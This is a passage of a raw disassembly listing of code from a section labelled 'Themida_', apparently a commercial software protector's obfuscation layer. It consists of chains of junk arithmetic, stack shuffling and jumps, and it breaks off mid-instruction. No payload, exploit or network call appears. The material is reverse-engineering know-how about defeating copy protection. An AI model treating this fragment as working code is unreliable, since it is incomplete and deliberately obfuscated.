32FC02C1h jmp loc_563DEC ; --------------------------------------------------------------------------- loc_570427: ; CODE XREF: Themida_:0056C73Bj pop esi add esp, 4 jmp loc_55DA64 ; --------------------------------------------------------------------------- loc_570430: ; CODE XREF: Themida_:00568410j mov ecx, [esp] add esp, 4 jmp loc_56DF35 ; --------------------------------------------------------------------------- loc_57043B: ; CODE XREF: Themida_:005697A7j xor edi, 7F5B7D71h jmp loc_56096A ; --------------------------------------------------------------------------- loc_570446: ; CODE XREF: Themida_:0056F586j push edi push ebx mov ebx, 61AE3D26h mov edi, 0A49AB988h sub edi, ebx jmp loc_56B07E ; --------------------------------------------------------------------------- loc_570459: ; CODE XREF: Themida_:005724F2j dec edx add edx, 5A7239E6h add ebp, edx pop edx jmp loc_5727E2 ; --------------------------------------------------------------------------- loc_570468: ; CODE XREF: Themida_:00560CBFj mov edi, 445362B1h sub ebp, edi pop edi add ebp, eax add ebp, 445362B1h mov eax, [esp] add esp, 4 push esi mov esi, ebp jmp loc_568100 ; --------------------------------------------------------------------------- loc_570486: ; CODE XREF: Themida_:005670CDj shr ebp, 8 jmp loc_57145C ; --------------------------------------------------------------------------- loc_57048E: ; CODE XREF: Themida_:005686F4j pop eax push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_56DD3F ; --------------------------------------------------------------------------- loc_57049E: ; CODE XREF: Themida_:00560035j mov ecx, 65394BFAh add ecx, eax mov eax, [esp] add esp, 4 jmp loc_55E410 ; --------------------------------------------------------------------------- loc_5704B3: ; CODE XREF: Themida_:0055D9DEj add edx, eax push edi push 146E1FEAh pop edi push ebx mov ebx, 97E1C72h add edx, ebx pop ebx sub edx, edi sub edx, 97E1C72h jmp loc_56DF68 ; --------------------------------------------------------------------------- loc_5704D2: ; CODE XREF: Themida_:005693E7j pop esi push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], edi push esp pop edi add edi, 4 sub esp, 4 mov [esp], eax push 4 pop eax add edi, eax jmp loc_5701CA ; --------------------------------------------------------------------------- loc_570507: ; CODE XREF: Themida_:00566FFFj mov [esp], ebx push esp jmp loc_55EF1E ; --------------------------------------------------------------------------- loc_570510: ; CODE XREF: Themida_:005715FBj add dword ptr [esp], 4 jmp loc_56D61A ; --------------------------------------------------------------------------- loc_57051C: ; CODE XREF: Themida_:00561EBEj push ebx mov ebx, esp jmp loc_5672D4 ; --------------------------------------------------------------------------- loc_570524: ; CODE XREF: Themida_:00572A94j mov ecx, 4 add [esp+4], ecx jmp loc_561E8E ; --------------------------------------------------------------------------- loc_570532: ; CODE XREF: Themida_:0056C8B3j pop ecx sub eax, 1A082E91h add eax, edi push ebp mov ebp, 1A082E91h add eax, 5B3A0602h add eax, ebp jmp loc_563935 ; --------------------------------------------------------------------------- loc_57054C: ; CODE XREF: Themida_:00571FE1j inc edx push esi mov esi, 6971072Fh sub esi, 276AF7Ah add edx, esi pop esi xor edx, 67EFD667h jmp loc_55DF56 ; --------------------------------------------------------------------------- loc_570567: ; CODE XREF: Themida_:005651C0j pop esp jmp loc_5636B8 ; --------------------------------------------------------------------------- loc_57056D: ; CODE XREF: Themida_:00561D44j add ecx, edx pop edx add ecx, edx sub ecx, 3A115D8Bh pop edx push edi mov edi, 4 add ecx, edi jmp loc_55EFA5 ; --------------------------------------------------------------------------- loc_570586: ; CODE XREF: Themida_:0055F8AAj not ebx shr ebx, 4 add ebx, 4CD44157h sub ebx, 5B6B7FD0h push edx mov edx, 86A1427h add ecx, edx pop edx add ecx, ebx push edx jmp loc_56AA54 ; --------------------------------------------------------------------------- loc_5705A8: ; CODE XREF: Themida_:005641F5j add ecx, 0FF5F78E0h add edx, ecx mov ecx, [esp] add esp, 4 push esi push edi push edx mov edx, 236E6FBAh jmp loc_56F65E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_5705C6: ; CODE XREF: sub_59DB3D-2D90Fj push eax mov ah, 80h push dx mov dh, ah not dh mov ah, dh pop dx jmp loc_570CF1 ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_5705D8: ; CODE XREF: Themida_:00572694j add al, dh sub al, 1Fh pop dx xor bl, al jmp loc_562F2E ; --------------------------------------------------------------------------- push dword ptr [esp+4] push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_56DD49 ; --------------------------------------------------------------------------- loc_5705F7: ; CODE XREF: Themida_:0056F833j add ebx, ebp push edx push esp pop edx add edx, 4 jmp loc_56005B ; --------------------------------------------------------------------------- loc_570607: ; CODE XREF: Themida_:00571A7Aj push esp pop edx push ecx mov ecx, 4 add edx, ecx pop ecx sub edx, 4 xchg edx, [esp] mov esp, [esp] mov [esp], edi push ecx push 3CA9698Eh pop ecx mov edi, ecx pop ecx sub [esp+4], edi mov edi, [esp] push eax push esp jmp loc_5688E4 ; --------------------------------------------------------------------------- loc_570636: ; CODE XREF: Themida_:0056CB36j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_57063B: ; CODE XREF: Themida_:005660C6j mov esp, [esp] mov [esp], ebx mov ebx, 0E790BBAh add ebx, 0F186F446h jmp loc_5622B2 ; --------------------------------------------------------------------------- loc_570651: ; CODE XREF: Themida_:0056EBB0j inc dl add dl, 1 xor dl, 42h sub al, dl jmp loc_56ABEA ; --------------------------------------------------------------------------- loc_570660: ; CODE XREF: Themida_:00570378j add esp, 4 push esi jmp loc_56B7C3 ; --------------------------------------------------------------------------- loc_57066C: ; CODE XREF: Themida_:0056795Ej mov ecx, [esp] add esp, 4 xchg ebx, [esp] mov esp, [esp] jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_570680: ; CODE XREF: Themida_:005618B1j add edx, ebp pop ebp xor eax, edx mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] add ecx, eax mov eax, [esp] jmp loc_56BD6B ; --------------------------------------------------------------------------- loc_5706AD: ; CODE XREF: Themida_:0056F51Cj pop ecx mov esi, [esp] jmp loc_56DF53 ; --------------------------------------------------------------------------- loc_5706B6: ; CODE XREF: Themida_:0056972Ej mov edx, 246B6418h sub edi, edx pop edx dec edi not edi add edi, 1592FB92h jmp loc_5621FA ; --------------------------------------------------------------------------- loc_5706CC: ; CODE XREF: Themida_:0056DA0Ej mov [esp], esi jmp loc_570F28 ; --------------------------------------------------------------------------- loc_5706D4: ; CODE XREF: Themida_:00568DBFj pop esp jmp loc_565E68 ; --------------------------------------------------------------------------- loc_5706DA: ; CODE XREF: Themida_:0056C76Ej push ebp jmp loc_56F32E ; --------------------------------------------------------------------------- loc_5706E0: ; CODE XREF: Themida_:0056DAD9j xor [esp], eax xor eax, [esp] pop esp mov [esp], edi mov edi, 48872793h jmp loc_570F4F ; --------------------------------------------------------------------------- loc_5706F4: ; CODE XREF: Themida_:00565F81j xor ebx, [esp] jmp loc_571A6F ; --------------------------------------------------------------------------- loc_5706FC: ; CODE XREF: Themida_:005611F6j mov esi, [esp] add esp, 4 push 62FDh mov [esp], ebp mov ebp, 4 add eax, ebp push dword ptr [esp] pop ebp add esp, 4 push 1B84h mov [esp], eax push dword ptr [esp+4] mov eax, [esp] push 0BDAh mov [esp], edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_56DA13 ; --------------------------------------------------------------------------- loc_570746: ; CODE XREF: Themida_:005677BCj push edi sub esp, 4 push esp pop dword ptr [esp] push ecx mov ecx, 4 add [esp+4], ecx mov ecx, [esp] add esp, 4 pop edi push ebp mov ebp, 4 jmp loc_56C99A ; --------------------------------------------------------------------------- loc_57076D: ; CODE XREF: Themida_:0056B37Cj mov ecx, [esp] add esp, 4 xor ecx, 19EE373Dh xor ecx, 38D2020h mov edi, ecx mov ecx, [esp] add esp, 4 jmp loc_562EE6 ; --------------------------------------------------------------------------- loc_57078C: ; CODE XREF: Themida_:0056A401j pop eax mov [edi+eax*4], bl push dword ptr [esp] jmp loc_55FF65 ; --------------------------------------------------------------------------- loc_570798: ; CODE XREF: Themida_:00560A43j pop ecx add ebp, ecx push edi mov edi, 7A5878E9h sub ebp, 1E640869h sub ebp, edi add ebp, 1E640869h jmp loc_569EE1 ; --------------------------------------------------------------------------- loc_5707B4: ; CODE XREF: Themida_:005660DBj mov [esp], edi mov edi, 2A19773Ah push ebp push 265205A1h mov ebp, [esp] add esp, 4 and edi, ebp push dword ptr [esp] jmp loc_568A96 ; --------------------------------------------------------------------------- loc_5707D2: ; CODE XREF: Themida_:0055FE4Dj xor edx, ebx jmp loc_55F1BD ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], eax push esp jmp loc_56E007 ; --------------------------------------------------------------------------- loc_5707E9: ; CODE XREF: Themida_:0056F532j shl ebp, 5 jmp loc_5617F2 ; --------------------------------------------------------------------------- loc_5707F1: ; CODE XREF: Themida_:005676B9j xor dl, ah pop ax mov al, dl pop edx jmp loc_56097E ; --------------------------------------------------------------------------- loc_5707FD: ; CODE XREF: Themida_:0055D545j add edx, 4F5201B6h pop ecx push ebx mov ebx, 3219761Dh or ebx, 586F2506h dec ebx and ebx, 304C7D29h not ebx jmp loc_5696D2 ; --------------------------------------------------------------------------- loc_57081E: ; CODE XREF: Themida_:00561266j push esp pop ebx push 4890h mov [esp], ebp jmp loc_56FCA5 ; --------------------------------------------------------------------------- loc_57082D: ; CODE XREF: Themida_:005672CFj pop ebp shl esi, 6 shl esi, 8 shl esi, 7 jmp loc_567C29 ; --------------------------------------------------------------------------- lodsb sub esp, 4 mov [esp], ebx jmp loc_57168E ; --------------------------------------------------------------------------- loc_570848: ; CODE XREF: Themida_:0056DF6Ej add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub edx, 2483411h jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_57085F: ; CODE XREF: Themida_:0056AB63j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_570864: ; CODE XREF: Themida_:0056C905j mov [esp], eax mov eax, 4 add edx, eax jmp loc_55FDAB ; --------------------------------------------------------------------------- loc_570873: ; CODE XREF: Themida_:00560A74j add esp, 4 push 6E37h mov [esp], ebx sub esp, 4 mov [esp], eax push 5670h mov [esp], edx mov edx, 6BB41B56h jmp loc_570C79 ; --------------------------------------------------------------------------- loc_57089C: ; CODE XREF: Themida_:0055F9FDj pop edx jmp loc_561CBB ; --------------------------------------------------------------------------- loc_5708A2: ; CODE XREF: Themida_:0056C995j push edx mov edx, 1 sub ebp, edx pop edx push edi mov edi, 4DFB2B20h add ebp, edi pop edi or ebp, 66E94F30h push ebp not dword ptr [esp] push dword ptr [esp] pop ebp add esp, 4 jmp loc_56C3E2 ; --------------------------------------------------------------------------- loc_5708CA: ; CODE XREF: Themida_:0056329Cj dec ebp inc ebp or ebp, 30917083h push 0B5Ch mov [esp], ecx sub esp, 4 mov [esp], esi mov esi, 3E377F93h mov ecx, esi mov esi, [esp] add esp, 4 jmp loc_56EB32 ; --------------------------------------------------------------------------- loc_5708F5: ; CODE XREF: Themida_:0056FA35j or ebx, ebp pop ebp sub ebx, 13780B8Fh jmp loc_57180F ; --------------------------------------------------------------------------- loc_570903: ; CODE XREF: Themida_:00565602j sub dword ptr [esp], 7C876898h pop eax add eax, 7C876898h mov edx, [esp] jmp loc_5650D8 ; --------------------------------------------------------------------------- loc_570918: ; CODE XREF: Themida_:0055FAA5j mov edx, ebx pop ebx jmp loc_568D51 ; --------------------------------------------------------------------------- loc_570920: ; CODE XREF: Themida_:0056A1D2j add esp, 4 jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_570928: ; CODE XREF: Themida_:0056C842j sub ebp, 482A7061h add ebp, ebx add ebp, 482A7061h jmp loc_5678BF ; --------------------------------------------------------------------------- loc_57093B: ; CODE XREF: Themida_:005672E0j xchg ebx, [esp] pop esp add esp, 4 push edx mov edx, 4 jmp loc_5625F7 ; --------------------------------------------------------------------------- loc_57094D: ; CODE XREF: Themida_:0055DBDFj add esp, 4 push 587h mov [esp], edx push 4010h mov [esp], ebx push eax add dword ptr [esp], 305B2AF0h pop ebx jmp loc_571A3F ; --------------------------------------------------------------------------- loc_57096E: ; CODE XREF: Themida_:00561FB0j and esi, 3BA50E0Ch shr esi, 7 shr esi, 5 push ebx mov ebx, 1AA14h xor esi, ebx pop ebx add ebx, esi pop esi push edx push ebx mov ebx, 7626596Fh jmp loc_56D934 ; --------------------------------------------------------------------------- loc_570992: ; CODE XREF: Themida_:00569BADj mov [esp], esi push dword ptr [esp+4] mov esi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55FE74 ; --------------------------------------------------------------------------- loc_5709B1: ; CODE XREF: Themida_:005640A4j pop ebp jmp loc_56AD3F ; --------------------------------------------------------------------------- loc_5709B7: ; CODE XREF: Themida_:0056A738j sub edi, 0EF1E1111h mov eax, edi pop edi neg eax not eax jmp loc_561C59 ; --------------------------------------------------------------------------- push 1542h jmp loc_56DB45 ; --------------------------------------------------------------------------- loc_5709D3: ; CODE XREF: Themida_:00567129j shl ebx, 7 push ebp mov ebp, 8221C826h add ebx, ebp jmp loc_5697CF ; --------------------------------------------------------------------------- loc_5709E3: ; CODE XREF: Themida_:0056C200j mov [esp], ecx push edx jmp loc_5685E9 ; --------------------------------------------------------------------------- loc_5709EC: ; CODE XREF: Themida_:0056E268j mov edx, ebx jmp loc_569861 ; --------------------------------------------------------------------------- loc_5709F3: ; CODE XREF: Themida_:00572178j push esi mov esi, 26254DC6h sub ebp, esi jmp loc_55E28C ; --------------------------------------------------------------------------- loc_570A00: ; CODE XREF: Themida_:0056C0DFj sub esp, 4 mov [esp], edi jmp loc_56832B ; --------------------------------------------------------------------------- loc_570A0B: ; CODE XREF: Themida_:00569290j mov dh, 59h mov bh, 2 add bh, dh pop edx add bh, 0B9h sub al, bh mov ebx, [esp] add esp, 4 jmp loc_55E426 ; --------------------------------------------------------------------------- loc_570A25: ; CODE XREF: Themida_:0056F234j xor esi, edi jmp loc_571ED5 ; --------------------------------------------------------------------------- loc_570A2C: ; CODE XREF: Themida_:00566B4Cj mov [edi+eax*4+1], bh mov ebx, [esp] push ebx mov ebx, esp push edx jmp loc_560FD0 ; --------------------------------------------------------------------------- loc_570A3C: ; CODE XREF: Themida_:0055E2BAj mov [esp], edi mov edi, 0DA4AC9DEh add ebp, edi pop edi add esi, ebp mov ebp, [esp] add esp, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] ror dword ptr [esp], cl pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_570A67: ; CODE XREF: Themida_:00563C8Cj mov edi, 95B014Ch add edi, 324001B8h sub edi, 781D65C2h sub edi, 3ECE72BFh add edi, 0ADEAE33Fh add edi, 399303BEh jmp loc_5606BC ; --------------------------------------------------------------------------- loc_570A8F: ; CODE XREF: Themida_:0057238Fj push eax mov eax, 831022Eh add edx, eax pop eax jmp loc_564AD7 ; --------------------------------------------------------------------------- loc_570A9D: ; CODE XREF: Themida_:00568593j sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_569ADE ; --------------------------------------------------------------------------- loc_570AA9: ; CODE XREF: Themida_:0056EC27j push 1B49h jmp loc_55DB6E ; --------------------------------------------------------------------------- loc_570AB3: ; CODE XREF: Themida_:00571DEDj add esp, 4 add ebx, 0FFFFFFFFh inc ebx jmp loc_55FF3B ; --------------------------------------------------------------------------- loc_570AC5: ; CODE XREF: Themida_:0056E6D8j sub eax, 2D4C68AEh jmp loc_568B5A ; --------------------------------------------------------------------------- loc_570ACF: ; CODE XREF: Themida_:0056C78Dj add esp, 4 sub esp, 4 mov [esp], ebp push eax mov eax, 417E38D6h push ebx mov ebx, esp add ebx, 4 sub ebx, 4 jmp loc_560633 ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push eax mov eax, esp add eax, 4 jmp loc_56EFBF ; --------------------------------------------------------------------------- loc_570B08: ; CODE XREF: Themida_:00565631j push 8EE5F01h pop edx dec edx jmp loc_560678 ; --------------------------------------------------------------------------- loc_570B14: ; CODE XREF: Themida_:0056BAE4j add [esp+4], ebx pop ebx jmp loc_571C9A ; --------------------------------------------------------------------------- loc_570B1E: ; CODE XREF: Themida_:0056A5A4j mov [esp], edi mov edi, 4 add edx, 4528760Dh add edx, edi jmp loc_56DEAB ; --------------------------------------------------------------------------- loc_570B33: ; CODE XREF: Themida_:0055EAE3j add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] jmp loc_563B11 ; --------------------------------------------------------------------------- loc_570B4A: ; CODE XREF: Themida_:0056D483j mov edx, 7ABB73AAh and edx, 0C036648h inc edx neg edx dec edx sub edx, 0F7FC9DF2h jmp loc_55DE42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_570B64: ; CODE XREF: sub_59DB3D-3E6C8j sub edi, 2 xchg edi, [esp+2Ch+var_2C] mov esp, [esp+2Ch+var_2C] jmp loc_56A3A8 ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_570B72: ; CODE XREF: Themida_:00564991j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_570B77: ; CODE XREF: Themida_:0056EF6Dj mov [esp], ebx jmp loc_56C412 ; --------------------------------------------------------------------------- loc_570B7F: ; CODE XREF: Themida_:00560AFDj pop ecx jmp loc_56C83A ; --------------------------------------------------------------------------- loc_570B85: ; CODE XREF: Themida_:00569AD9j add dh, ch pop ecx push ebx mov bl, 89h not bl shr bl, 6 dec bl sub bl, 0E5h add bl, 6Dh sub al, bl pop ebx add al, dh jmp loc_572674 ; --------------------------------------------------------------------------- loc_570BA2: ; CODE XREF: Themida_:00560DE0j mov ebx, [esp] add esp, 4 sub edx, 3E5C34FBh add edx, esi jmp loc_571A4F ; --------------------------------------------------------------------------- loc_570BB5: ; CODE XREF: Themida_:0055FB18j pop ecx add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] mov [esp], ecx jmp loc_570D71 ; --------------------------------------------------------------------------- loc_570BCE: ; CODE XREF: Themida_:0055DF74j push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax jmp loc_566DA5 ; --------------------------------------------------------------------------- loc_570BE5: ; CODE XREF: Themida_:00563479j mov esp, [esp] push ebp sub dword ptr [esp], 11527A71h pop edx add edx, 11527A71h mov ebp, [esp] jmp loc_563DE4 ; --------------------------------------------------------------------------- loc_570BFF: ; CODE XREF: Themida_:0056EB0Fj mov ch, 0A6h sub al, ch jmp loc_560B91 ; --------------------------------------------------------------------------- neg byte ptr [esp] pushf jmp loc_570C9F ; --------------------------------------------------------------------------- loc_570C11: ; CODE XREF: Themida_:0056C7C4j mov ebx, 24h add ebx, edi jmp loc_55E106 ; --------------------------------------------------------------------------- loc_570C1D: ; CODE XREF: Themida_:0056516Cj add dl, 49h add dl, 71h sub dl, 0AEh jmp loc_55DA75 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562A0A loc_570C2B: ; CODE XREF: sub_562A0A+9496j pop ecx add bl, dl mov edx, [esp+8+var_8] add esp, 4 jmp loc_568B2E ; END OF FUNCTION CHUNK FOR sub_562A0A ; --------------------------------------------------------------------------- loc_570C39: ; CODE XREF: Themida_:0055D924j sub edx, 5186D67h and edx, 79D948B8h add edx, 57664B5Fh add edx, 0D12FEEB6h jmp loc_562115 ; --------------------------------------------------------------------------- loc_570C56: ; CODE XREF: Themida_:0056E99Cj push edx mov edx, 4A5B0BF2h dec edx sub edx, 731A45C5h shr edx, 4 jmp loc_56FD5A ; --------------------------------------------------------------------------- loc_570C6B: ; CODE XREF: Themida_:0055E3FEj mov esi, [esp] add esp, 4 jmp loc_572331 ; --------------------------------------------------------------------------- loc_570C79: ; CODE XREF: Themida_:00570897j and edx, 42C53B12h sub edx, 4B8C4454h sub edx, 2D8F32F2h shr edx, 2 and edx, 6BC73736h xor edx, 39FF5FE0h jmp loc_56B9F6 ; --------------------------------------------------------------------------- loc_570C9F: ; CODE XREF: Themida_:00570C0Cj jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_570CA4: ; CODE XREF: Themida_:00569D38j add esi, 1 jmp loc_5643AF ; --------------------------------------------------------------------------- loc_570CAC: ; CODE XREF: Themida_:0055EB88j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp jmp loc_562E91 ; --------------------------------------------------------------------------- loc_570CBB: ; CODE XREF: Themida_:00560990j dec bl shr bl, 6 sub bl, 28h xor bl, 0D3h add ch, 0B2h jmp loc_56749A ; --------------------------------------------------------------------------- loc_570CCE: ; CODE XREF: Themida_:0056E376j mov [esp], eax push edx push ebx mov bl, 53h mov dh, bl jmp loc_571828 ; --------------------------------------------------------------------------- loc_570CDC: ; CODE XREF: Themida_:00572351j xchg ebp, [esp] jmp loc_5652E4 ; --------------------------------------------------------------------------- loc_570CE4: ; CODE XREF: Themida_:00566742j not edx push ebx mov ebx, 6CCF669Fh jmp loc_571C76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_570CF1: ; CODE XREF: sub_59DB3D-2D56Aj inc ah not ah add ah, 7 not ah sub esp, 2 mov [esp+0], cx jmp loc_566AEA ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_570D06: ; CODE XREF: Themida_:0055F34Dj mov eax, 0BF5548Eh sub eax, 77CB42F7h jmp loc_569743 ; --------------------------------------------------------------------------- loc_570D15: ; CODE XREF: Themida_:0055DCD3j mov [esp], ebx mov ebx, esp jmp loc_56BBC3 ; --------------------------------------------------------------------------- loc_570D1F: ; CODE XREF: Themida_:0056EC89j shr ebp, 1 or ebp, 20A777ACh jmp loc_561861 ; --------------------------------------------------------------------------- loc_570D2C: ; CODE XREF: Themida_:0056C7CCj pop edi add eax, 3A4823C5h sub eax, ebp sub eax, 3A4823C5h mov ebp, [esp] add esp, 4 push ebx mov ebx, esp add ebx, 4 push edi push esi mov esi, 7413169Fh xor esi, 0EFA190Dh inc esi add esi, 8516F071h mov edi, esi jmp loc_5612A5 ; --------------------------------------------------------------------------- loc_570D66: ; CODE XREF: Themida_:0056D55Bj sub ecx, 10045C7Dh jmp loc_56F70D ; --------------------------------------------------------------------------- loc_570D71: ; CODE XREF: Themida_:00570BC9j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_570D76: ; CODE XREF: Themida_:0056F77Aj xor dword ptr [ebx], 109459E2h pop ebx push 0EA6h mov [esp], ebp push ebx mov ebx, 0AF16471h jmp loc_568CF4 ; --------------------------------------------------------------------------- loc_570D90: ; CODE XREF: Themida_:0056EB71j shr ecx, 4 add ecx, 54813456h sub edx, ecx pop ecx add edx, ebp add edx, 5C8D70D6h pop ebp sub edx, 36D66C30h jmp loc_56897D ; --------------------------------------------------------------------------- loc_570DB0: ; CODE XREF: Themida_:00569638j add bl, 2Dh sub bl, 51h push edx mov dl, 55h sub bl, dl mov edx, [esp] add esp, 4 jmp loc_5685FB ; --------------------------------------------------------------------------- loc_570DC9: ; CODE XREF: Themida_:00564843j xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp mov [esp], ebx push dword ptr [esp] pop eax push 22B6h mov [esp], ecx jmp loc_56768D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59DB3D loc_570DE7: ; CODE XREF: sub_59DB3D-3337Ej and ch, 4 sub ch, 94h add al, 93h jmp loc_571354 ; END OF FUNCTION CHUNK FOR sub_59DB3D ; --------------------------------------------------------------------------- loc_570DF4: ; CODE XREF: Themida_:00566D69j mov [esp], edi mov edi, 4 add ecx, edi pop edi add ecx, 4 xchg ecx, [esp] jmp loc_567F96 ; --------------------------------------------------------------------------- loc_570E0A: ; CODE XREF: Themida_:00572AF0j pop eax jmp loc_56F16F ; --------------------------------------------------------------------------- push dword ptr [edi+38h] add dword ptr [esp], 741251F8h jmp loc_56B4C7 ; --------------------------------------------------------------------------- loc_570E1F: ; CODE XREF: Themida_:005698E5j pop esi add edi, 3295E38Fh xor ebx, edi pop edi add edi, 465E7EE4h sub edi, ebx sub edi, 465E7EE4h pop ebx add eax, 2D391BCBh sub eax, edi sub eax, 2D391BCBh pop edi xchg eax, [esp] pop esp mov [esp], cx jmp loc_57125F ; --------------------------------------------------------------------------- loc_570E52: ; CODE XREF: Themida_:005697C2j sub ebx, 1A95055Fh add ebx, ebp add ebx, 1A95055Fh pop ebp push eax mov eax, 61EC66C0h xor eax, 59F37FC7h sub eax, 20E8FCA4h jmp loc_55F41A ; --------------------------------------------------------------------------- loc_570E76: ; CODE XREF: Themida_:0057006Fj not bl xchg al, bl inc al xchg al, bl sub esp, 2 mov [esp], cx jmp loc_563D82 ; --------------------------------------------------------------------------- loc_570E8D: ; CODE XREF: Themida_:00568E10j push esi mov esi, 49DE2BC3h mov edx, 9AA6FCAAh add edx, esi jmp loc_56A743 ; --------------------------------------------------------------------------- loc_570E9F: ; CODE XREF: Themida_:00571CC4j push ebp mov ebp, 57D013A4h jmp loc_56920A ; --------------------------------------------------------------------------- loc_570EAA: ; CODE XREF: Themida_:0056BC8Aj pop edx pop edx push ecx push 41263F04h jmp loc_562B36 ; --------------------------------------------------------------------------- loc_570EB7: ; CODE XREF: Themida_:0055D312j pop edi xor eax, 4864082h mov edx, eax mov eax, [esp] add esp, 4 sub edi, 32B47E06h add edi, edx jmp loc_5607FA ; --------------------------------------------------------------------------- loc_570ED5: ; CODE XREF: Themida_:00560ADDj add ebp, 3CD15CE3h push ecx mov ecx, 797E0962h add ecx, 0A17A1E2Ch jmp loc_5654C5 ; --------------------------------------------------------------------------- loc_570EEC: ; CODE XREF: Themida_:0056AA2Cj add eax, ebp pop ebp jmp loc_5673B1 ; --------------------------------------------------------------------------- loc_570EF4: ; CODE XREF: Themida_:0056E85Ej pop edi push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] push dword ptr [esp] pop eax jmp loc_55FC01 ; --------------------------------------------------------------------------- loc_570F0A: ; CODE XREF: Themida_:00565C8Bj inc ebp push 72EAh mov [esp], edx mov edx, 46886A12h jmp loc_55EA4B ; --------------------------------------------------------------------------- loc_570F1D: ; CODE XREF: Themida_:0056C041j push dword ptr [esp] mov ecx, [esp] jmp loc_56052A ; --------------------------------------------------------------------------- loc_570F28: ; CODE XREF: Themida_:005706CFj mov esi, 0A563E050h jmp loc_55EA2D ; --------------------------------------------------------------------------- loc_570F32: ; CODE XREF: Themida_:0055E819j xchg edi, [esp] pop esp jmp loc_571290 ; --------------------------------------------------------------------------- loc_570F3B: ; CODE XREF: Themida_:005675AEj push 2808h mov [esp], ecx mov ch, 56h push 3FB3h jmp loc_560988 ; --------------------------------------------------------------------------- loc_570F4F: ; CODE XREF: Themida_:005706EFj xor edi, 4A96568Fh sub ecx, edi push dword ptr [esp] pop edi jmp loc_56F9BC ; --------------------------------------------------------------------------- loc_570F60: ; CODE XREF: Themida_:0057125Aj xor ebp, 0FAFFFDBEh and ebx, ebp pop ebp not ebx jmp loc_562F7B ; --------------------------------------------------------------------------- loc_570F70: ; CODE XREF: Themida_:0056ED04j sub ebx, 7DA4753Ch push ebp mov ebp, 3F7E2324h dec ebp dec ebp add ebp, 1E6002D8h add ebx, 202F5C0Fh add ebx, 36812130h add ebx, ebp sub ebx, 36812130h jmp loc_55FF5A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562A0A loc_570F9D: ; CODE XREF: sub_562A0A-CD3j or dl, cl pop ecx push ecx jmp loc_56004D ; END OF FUNCTION CHUNK FOR sub_562A0A ; --------------------------------------------------------------------------- loc_570FA6: ; CODE XREF: Themida_:0055F711j mov [esp], ebp push 733Dh mov [esp], edi jmp loc_565CA9 ; --------------------------------------------------------------------------- loc_570FB6: ; CODE XREF: Themida_:005693A0j mov edx, 7A8C622Dh sub esp, 4 mov [esp], edx push ebp jmp loc_5608A6 ; --------------------------------------------------------------------------- loc_570FC7: ; CODE XREF: Themida_:0056A3E4j mov [esp], ebx push 313Ah jmp loc_567EF0 ; --------------------------------------------------------------------------- loc_570FD4: ; CODE XREF: Themida_:0056619Cj add esi, ebp pop ebp sub ebp, 56ED5E5Ah add ebp, esi add ebp, 56ED5E5Ah pop esi mov edx, ebp jmp loc_56EC02 ; --------------------------------------------------------------------------- loc_570FED: ; CODE XREF: Themida_:0056D0ADj mov ebx, 78536BD0h add ebx, 2AF04205h sub ebx, 4F331B18h push edi jmp loc_568044 ; --------------------------------------------------------------------------- loc_571004: ; CODE XREF: Themida_:0055F8D0j mov [esp], edi mov edi, 1 sub dword ptr [esp+4], 5CBF3F6Eh add dword ptr [esp+4], 1B23C70h sub dword ptr [esp+4], 7BC2708Ch sub [esp+4], edi push edx mov edx, 7BC2708Ch push ebp jmp loc_56F37D ; --------------------------------------------------------------------------- loc_571034: ; CODE XREF: Themida_:0056FF82j not ebx jmp loc_56353B ; --------------------------------------------------------------------------- loc_57103B: ; CODE XREF: Themida_:0056C6F5j xchg edi, [esp] pop esp push dword ptr [esp] pop eax push ebp mov ebp, esp push esi mov esi, 7EF0788Bh xor esi, 4E8433C7h jmp loc_56F81A ; --------------------------------------------------------------------------- loc_571057: ; CODE XREF: Themida_:0056FDC6j mov ecx, 2 jmp loc_56FDD2 ; --------------------------------------------------------------------------- loc_571061: ; CODE XREF: Themida_:00571EF5j xor ecx, 105A4D29h and ecx, 6E744FF6h neg ecx shl ecx, 5 jmp loc_56691E ; --------------------------------------------------------------------------- loc_571077: ; CODE XREF: Themida_:0056B6E2j pop edi push esi mov esi, 30BE786Ch sub edx, esi pop esi add edx, esi add edx, 30BE786Ch pop esi xor 